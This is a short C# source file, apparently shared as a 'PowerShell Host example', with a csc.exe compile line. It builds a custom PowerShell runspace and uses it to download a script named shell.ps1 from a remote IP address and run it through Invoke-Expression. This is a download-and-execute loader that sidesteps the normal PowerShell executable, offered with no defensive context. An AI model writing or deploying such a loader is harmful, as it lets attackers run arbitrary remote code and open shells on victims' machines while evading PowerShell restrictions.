PowerShell Host example. Obtaining its commands from a remote location.

pshost.cs

// c:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe pshost.cs /r:c:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using PowerShell = System.Management.Automation.PowerShell;

internal class InfantAnnihilator
{
    private static void Main(string[] args)
    {
        InitialSessionState iss = InitialSessionState.CreateDefault();
        using (Runspace rs = RunspaceFactory.CreateRunspace(iss))
        {
            rs.Open();
            using (PowerShell powershell = PowerShell.Create())
            {
                string externalscript = "http://1.1.1.1/shell.ps1";
                Console.WriteLine(String.Format("Downloading external script: {0}", externalscript));
                powershell.Runspace = rs;
                string script = String.Format("(New-Object System.Net.WebClient).DownloadString(\"{0}\")| IEX", externalscript);
                powershell.AddScript(script);
                powershell.Invoke(script);
            }
            rs.Close();
        }
    }
}